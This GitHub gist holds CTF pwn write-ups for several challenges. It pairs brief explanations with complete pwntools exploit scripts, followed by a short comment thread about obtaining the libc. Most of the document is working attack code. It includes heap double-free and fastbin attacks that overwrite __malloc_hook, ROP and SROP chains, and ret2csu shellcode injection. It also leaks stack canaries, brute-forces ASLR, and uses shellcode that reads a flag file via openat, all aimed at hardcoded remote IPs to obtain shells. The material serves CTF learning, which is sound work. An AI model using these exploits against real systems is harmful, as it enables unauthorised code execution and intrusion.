Skip to content

Instantly share code, notes, and snippets.

@PaulCher
Last active August 21, 2024 15:03
Show Gist options
  • Save PaulCher/756503140162b255a478aa395343d201 to your computer and use it in GitHub Desktop.
Save PaulCher/756503140162b255a478aa395343d201 to your computer and use it in GitHub Desktop.

start

By using the so called universal gadget from __libc_csu_init we can read shellcode into the rwx memory segment and return into it.

start hard

By executing read function we can overwrite only last two bytes of read to find something useful and defeat ASLR. Fortunately there is one-gadget RCE located at 0xf0567 in this version of libc, right near the read function (0xf6670). We overflow only last two bytes to defeat ASLR, so that only around 16 attemps needed, because of 4 bit entropy of ASLR.

EDIT: checkout another great solution proposed by agadeint in the comment section below, which is cleaner and does not require bruteforcing and one gadget.

crc

Stack looks like this:

...
char buf[100];
char *buf_;

gets function is used to fill the buf, so it's easy to overflow buf_ pointer, which is later passed into count_crc function, so we can count crc almost of any memory region, thus we can get arbitrary read. We can get base address of libc from .got, and also we can get canary, because it's located in the memory segment right after the ld.so, which we can get by using kind of offset2ldso attack (though it is not stable and platform specific).

fu

We can underflow the fu pointer which in located in .bss section and make it point into the .got section, where we can read and write. I address of libc from got, then changed strlen@got to address of system@libc and puts@got into the address of main function, so after restart of the binary system function will be called instead of strlen of string controlled by me.

random

First of all canary can be leaked by entering numbers 1 .. 7 into the menu and the last byte is always zero. Also in this binary couple of very useful gadgets like syscall; ret can be found. So by using these gadgets and technic called SROP we can leak .got section, read our new ropchain and then return on it by using sigreturn.

canakmgf

In this task we can read any file, so we can read /proc/self/maps to defeat ASLR and by abusing double free into fast bin attack we can overflow __malloc_hook by address of system and call malloc(addr_of_binsh_on_heap), so system("/bin/sh") will be called.

canakmgf remastered

In this task we can not read any file on the system, but we can get memory leak of heap by reading contents of fastbin chunk, and we can get memory leak of libc arena by reading contents of small chunk. Then I overflow __malloc_hook once again into the one-gadget RCE and trigger double free error, which will trigger our hook. This is done exactly that way, because there is not such one-gadget that meets contrains if you simply call malloc, and you can not do the trick with addr_of_binsh_on_heap like the last time, because of the PIE address of the heap is now more that 2 ** 32 and we could only call malloc(unsigned int size).

defaulter

defaulter says he accepts a shellcode as input. But obviously was some trick in this task. First I tried to call execve("/bin/sh", NULL, NULL) shellcode, just to be sure that it blocked by seccomp sandbox or some sort of it (and it didn't work). So I tried testing over syscalls and I jumped into the inf. loop if syscall fails. open syscall was blocked as well, but openat was not, but openat needs absolute path to file as argument so I read the /etc/passwd to get username (which was pwn) and the read /home/pwn/flag. So full path looks like this: openat flag, read the flag into writable location, write it to the screen.

#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = './cana'
WTIME = 0.3
idx = 0
def alloc(r, size, data):
global idx
r.sendline('1')
r.recvuntil('Length? ')
r.sendline(str(size))
sleep(WTIME)
r.send(data)
r.recvuntil('away\n')
res = idx
idx += 1
return res
def free(r, i):
global idx
r.sendline('3')
r.recvuntil('Num? ')
r.sendline(str(i))
r.recvuntil('away\n')
def exploit():
global idx
REMOTE = 1
LIBC = "/home/paulch/cana_/libc.so.6"
if REMOTE:
r = remote('128.199.247.60', 10001)
else:
r = process(BINARY)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('5. Run away\n')
r.sendline('2')
r.recvuntil('ran? ')
r.sendline("/proc/self/maps")
data = r.recvuntil('when you finish reading,', drop=True)
data = data.split('\n')
for line in data:
if 'r-xp' in line and 'libc' in line:
minus_index = line.index('-')
libc_base = line[:minus_index]
libc_base = int(libc_base, 16)
if 'heap' in line:
minus_index = line.index('-')
heap_base = line[:minus_index]
heap_base = int(heap_base, 16)
print hex(libc_base)
print hex(heap_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
bin_sh_addr = libc_base + next(libc.search('/bin/sh\0'))
print 'malloc_hook', hex(malloc_hook)
print '/bin/sh', hex(bin_sh_addr), bin_sh_addr
r.recvuntil('away\n')
alloc(r, 0x10, "/bin/sh")
idx0 = alloc(r, 0x60, 'AAAA')
idx1 = alloc(r, 0x60, 'AAAA')
idx2 = alloc(r, 0x10, '/bin/sh')
free(r, idx0)
free(r, idx1)
free(r, idx0)
fd_ptr = p64(malloc_hook - 0x1b - 8)
alloc(r, 0x60, fd_ptr)
alloc(r, 0x60, 'C' * 8)
alloc(r, 0x60, 'D' * 0x8)
p = ''
p += 'Q' * 3
p += 'Q' * 16
p += p64(libc_base + libc.symbols['system'])
alloc(r, 0x60, p)
r.sendline('1')
r.recvuntil('Length? ')
r.sendline(str(heap_base + 0x10))
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = './camakmgf_remastered'
WTIME = 0.3
idx = 0
def alloc(r, size, data):
global idx
r.sendline('1')
r.recvuntil('Length? ')
r.sendline(str(size))
sleep(WTIME)
r.send(data)
r.recvuntil('away\n')
res = idx
idx += 1
return res
def free(r, i):
global idx
r.sendline('3')
r.recvuntil('Num? ')
r.sendline(str(i))
r.recvuntil('away\n')
def print_func(r, i):
r.sendline('4')
r.recvuntil('Num? ')
r.sendline(str(i))
data = r.recvuntil('\n1. ', drop=True)
r.recvuntil('away\n')
return data
def exploit():
global idx
REMOTE = 1
if REMOTE:
LIBC = "/home/paulch/cana_/libc.so.6"
#r = remote('128.199.247.60', 10001) #first
r = remote('128.199.85.217', 10001) # second
else:
LIBC = "/home/paulch/cana_/libc.so.6"
r = process(BINARY)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('5. Run away\n')
size = 0x60
alloc(r, 0x10, 'sh')
idx0 = alloc(r, size, 'AAAA')
idx1 = alloc(r, size, 'AAAA')
idx2 = alloc(r, 0x10, 'AAAA')
idx3 = alloc(r, 0x100, 'AAAA')
idx2 = alloc(r, 0x10, 'AAAA')
free(r, idx0)
free(r, idx1)
heap_leak = print_func(r, idx1)
free(r, idx0)
heap_leak += '\0' * (8 - len(heap_leak))
heap_base = u64(heap_leak) & ((1<<64) - 0x1000)
print 'heap_base', hex(heap_base)
free(r, idx3)
libc_leak = print_func(r, idx3)
libc_leak += '\0' * (8 - len(libc_leak))
libc_leak = u64(libc_leak)
main_arena_entry = 0x3c3b78
libc_base = libc_leak - main_arena_entry
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
system_addr = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols['__free_hook']
print 'libc_base', hex(libc_base)
print 'free_hook', hex(free_hook)
print 'malloc_hook', hex(malloc_hook)
fd_ptr = p64(malloc_hook - 0x1b - 8)
alloc(r, size, fd_ptr)
alloc(r, size, 'C' * 8)
alloc(r, size, 'D' * 0x8)
rce_gadget = 0xef6c4
p = ''
p += 'Q' * 3
p += 'Q' * 16
p += p64(libc_base + rce_gadget)
idx_ = alloc(r, size, p)
# trigger the double free in interactive
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='i386')
BINARY = './crc'
def get_crc(r, size, data):
r.sendline('1')
r.recvuntil('data: ')
r.sendline(str(size))
r.recvuntil('process: ')
r.sendline(data)
r.recvuntil(': 0x')
crc = int(r.recvline().strip(), 16)
r.recvuntil('Choice: ')
return crc
def leak(r, addr, length=4):
p = 'A' * 100 + p32(addr)
e = ''
for i in range(length):
val = get_crc(r, i + 1, p)
res = brute_crc(val, e)
e += p8(res)
return e
def brute_crc(crc_val, extra):
for i in xrange(0x100):
new_crc = crc.crc_32(extra + p8(i))
if crc_val == new_crc:
return i
def exploit():
REMOTE = 1
LIBC = 'libc-i386.so.6'
env = {
"LD_PRELOAD": "/home/paulch/crc_/" + LIBC
}
if REMOTE:
r = remote('69.90.132.40', 4002)
else:
r = process(BINARY, env=env)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('Choice: ')
atoi_got = 0x8049FFC
canary_offset = 0x1dc000 + 0x954
if REMOTE:
canary_offset += 0x1000 * 6
libc_leak = u32(leak(r, atoi_got))
libc_base = libc_leak - libc.symbols['atoi']
canary_leak = leak(r, libc_base + canary_offset)
canary = u32(canary_leak)
print hex(libc_base)
print hex(canary)
p = ''
p += 'A' * 40
p += p32(canary)
p += 'BBBB' * 3
p += p32(libc_base + libc.symbols['system'])
p += 'CCCC' * 1
p += p32(libc_base + next(libc.search('/bin/sh\0')))
r.sendline(p)
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
shellcode_asm = """
[section .text]
global _start
_start:
jmp near end
main:
xor rax, rax
mov ax, 257
xor rdi, rdi
pop rsi
xor rdx, rdx
syscall
mov rdi, rax
xor rax, rax
mov rsi, 0x00601000
xor rdx, rdx
mov dx, 0xffff
syscall
mov rdx, rax
; write
xor rax, rax
inc rax
mov rdi, 1
mov rsi, 0x00601000
syscall
cmp rax, 0
jg last
jmp near crash
end:
call main
db '/home/pwn/flag', 0
last:
jmp near last
crash:
db 'aaaaaaaaaaaaa', 0
"""
def exploit():
r = remote('188.226.140.60', 10001)
with open("shellcode.asm", 'w') as f:
f.write(shellcode_asm)
os.system("nasm -f elf64 ./shellcode.asm -o ./shellcode.o && ld ./shellcode.o -o shellcode")
with open('shellcode') as f:
data = f.read()
data = data[0x80:0xf0]
shellcode = ''
shellcode += data
sleep(0.5)
r.sendline(shellcode)
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='i386')
BINARY = './fulang'
def exploit():
REMOTE = 1
LIBC = '/lib/i386-linux-gnu/libc.so.6'
if REMOTE:
r = remote('69.90.132.40', 4001)
else:
r = process(BINARY)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('Enter your code:')
p = ''
p += ':<' * 0x20
p += ':.'
p += ':::<' * 4
p += ':<' * 7
p += ':.:>' * 8
p += ':('
r.sendline(p)
sleep(1)
r.send('\x27')
sleep(1)
got_leak = r.recv(4)
leak = u32(got_leak, endian='big')
libc_base = leak - libc.symbols['__libc_start_main']
print hex(libc_base)
main_addr = 0x080486de
jmp_addr = main_addr
for i in range(4):
x = jmp_addr & 0xff
r.send(p8(x))
jmp_addr >>= 8
system_addr = libc_base + 0x003a940 # system in their libc
for i in range(4):
x = system_addr & 0xff
r.send(p8(x))
system_addr >>= 8
r.sendline('/bin/sh')
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = 'random'
def send(r, i):
r.sendline(str(i))
r.recvuntil('value = ')
n = int(r.recvuntil('\n', drop=True))
r.recvuntil('get?')
return n
def exploit():
REMOTE = 1
if REMOTE:
LIBC = 'libc.so.6'
r = remote('69.90.132.40', 4000)
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
else:
LIBC = '/lib/i386-linux-gnu/libc.so.6'
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
r = process(BINARY)
elf = ELF(BINARY)
libc = ELF(LIBC)
r.recvuntil('1-7\n\n')
canary = 0
for i in range(1, 8):
x = send(r, i)
print i, x
canary += send(r, i) << (8 * i)
r.sendline('10')
r.recvuntil('Leave a comment: ')
print hex(canary)
pop_rbp = 0x0000000000400f5f
pop_rdi = 0x0000000000400f63
pop_rax_rdi = 0x0000000000400f8c
pop_rsi_r15 = 0x0000000000400f61
mov_rdx_rsi = 0x0000000000400f88
leave_ret = 0x0000000000400b88
stdin = 0x06021C0
rw_addr = 0x602300
syscall_ret = 0x0000000000400f8f
print 'rw', hex(rw_addr)
p = 'A' * (1032)
p += p64(canary)
p += 'B' * 8
p += p64(pop_rax_rdi)
p += p64(1)
p += p64(1)
p += p64(pop_rsi_r15)
p += p64(0x21)
p += p64(0)
p += p64(mov_rdx_rsi)
p += p64(pop_rsi_r15)
p += p64(stdin)
p += p64(0)
p += p64(syscall_ret)
#read
p += p64(pop_rax_rdi)
p += p64(0)
p += p64(0)
p += p64(pop_rsi_r15)
p += p64(0x70)
p += p64(0)
p += p64(mov_rdx_rsi)
p += p64(pop_rsi_r15)
p += p64(rw_addr)
p += p64(0)
p += p64(syscall_ret)
s = SigreturnFrame()
s.rsp = 0x602300
s.rbp = 0x602500
s.rip = 0x0000000000400288
# sigreturn
p += p64(pop_rax_rdi)
p += p64(15)
p += p64(rw_addr)
p += p64(pop_rsi_r15)
p += p64(0)
p += p64(0)
p += p64(mov_rdx_rsi)
p += p64(pop_rsi_r15)
p += p64(0)
p += p64(0)
p += p64(syscall_ret)
p += bytes(s)
r.sendline(p)
data = r.recv(0x21)
leak = u64(data[:8])
libc_base = leak - 0x3c38e0
rop = ''
rop += p64(pop_rdi)
rop += p64(libc_base + next(libc.search('/bin/sh\0')))
rop += p64(libc_base + libc.symbols['system'])
r.sendline(rop)
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = './start'
def exploit():
REMOTE = 1
if REMOTE:
LIBC = 'libc.so.6'
r = remote('139.59.114.220', 10001)
else:
LIBC = '/lib/i386-linux-gnu/libc.so.6'
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
r = process(BINARY)
elf = ELF(BINARY)
# libc = ELF(LIBC)
rwx_addr = 0x00601200
ucall = 0x04005A0
upop = 0x004005BA
p = ''
p += 'A' * 24
p += p64(upop)
p += p64(0)
p += p64(1)
p += p64(elf.got['read'])
p += p64(0x80)
p += p64(rwx_addr)
p += p64(0)
p += p64(ucall)
p += 'A' * 56
p += p64(rwx_addr)
r.sendline(p)
shellcode = asm(shellcraft.amd64.sh())
sleep(2)
r.sendline(shellcode)
r.interactive()
if __name__ == '__main__':
exploit()
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64')
BINARY = './hard'
def call_func(func, rdi=0, rsi=0, rdx=0):
ucall = 0x04005A0
upop = 0x004005BA
p = ''
p += p64(upop)
p += p64(0)
p += p64(1)
p += p64(func)
p += p64(rdx)
p += p64(rsi)
p += p64(rdi)
p += p64(ucall)
p += 'A' * 56
return p
def exploit():
REMOTE = 1
LIBC = '/home/paulch/hard_/libc.so.6'
if REMOTE:
# r = remote('139.59.114.220', 10001)
r = remote('128.199.152.175', 10001)
else:
r = process(BINARY)
elf = ELF(BINARY)
x = 0x2567
p = ''
p += 'A' * 24
p += call_func(elf.got['read'], 0, elf.got['read'], 2)
p += call_func(elf.got['read'], 0, 0, 0)
p += '\0' * 100
r.send(p)
sleep(0.5)
r.send(p16(x))
if r.can_recv():
r.interactive()
else:
r.close()
if __name__ == '__main__':
for i in xrange(0x10):
print i
try:
exploit()
except Exception as err:
print repr(err)
Copy link

ghost commented Apr 13, 2017

i have one more question, how do you get the libc of camakmgf_remastered, i'm really consufed about this, hope get your response, thanks

@PaulCher
Copy link
Author

Hi, @ray-cp!

There was a way to read libc_base and heap_base, by reading contents of free normal sized chunk and free fastbin chunk, which would contain fd and bk pointers, because they were free.

Copy link

ghost commented Apr 14, 2017

thanks, but what i confused is that how do you get the library in camakmgf_remastered: /home/paulch/cana_/libc.so.6, the sponsor did't give us the libc, isn't it?

@PaulCher
Copy link
Author

@ray-cp

Ah... I see... Organizers told us that tasks were running on latest Ubuntu Xenial. So when I saw that I immediately downloaded latest version of Ubuntu which had the exact same version of libc. To ensure that I have exactly the same libc I downloaded library from their host after solving "start" task.

Copy link

ghost commented Apr 18, 2017

got it, thank you so much

@firmianay
Copy link

Hi, "start" is really a good example to learn ret2csu! Can you share me the binary, please. (their website has been down)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment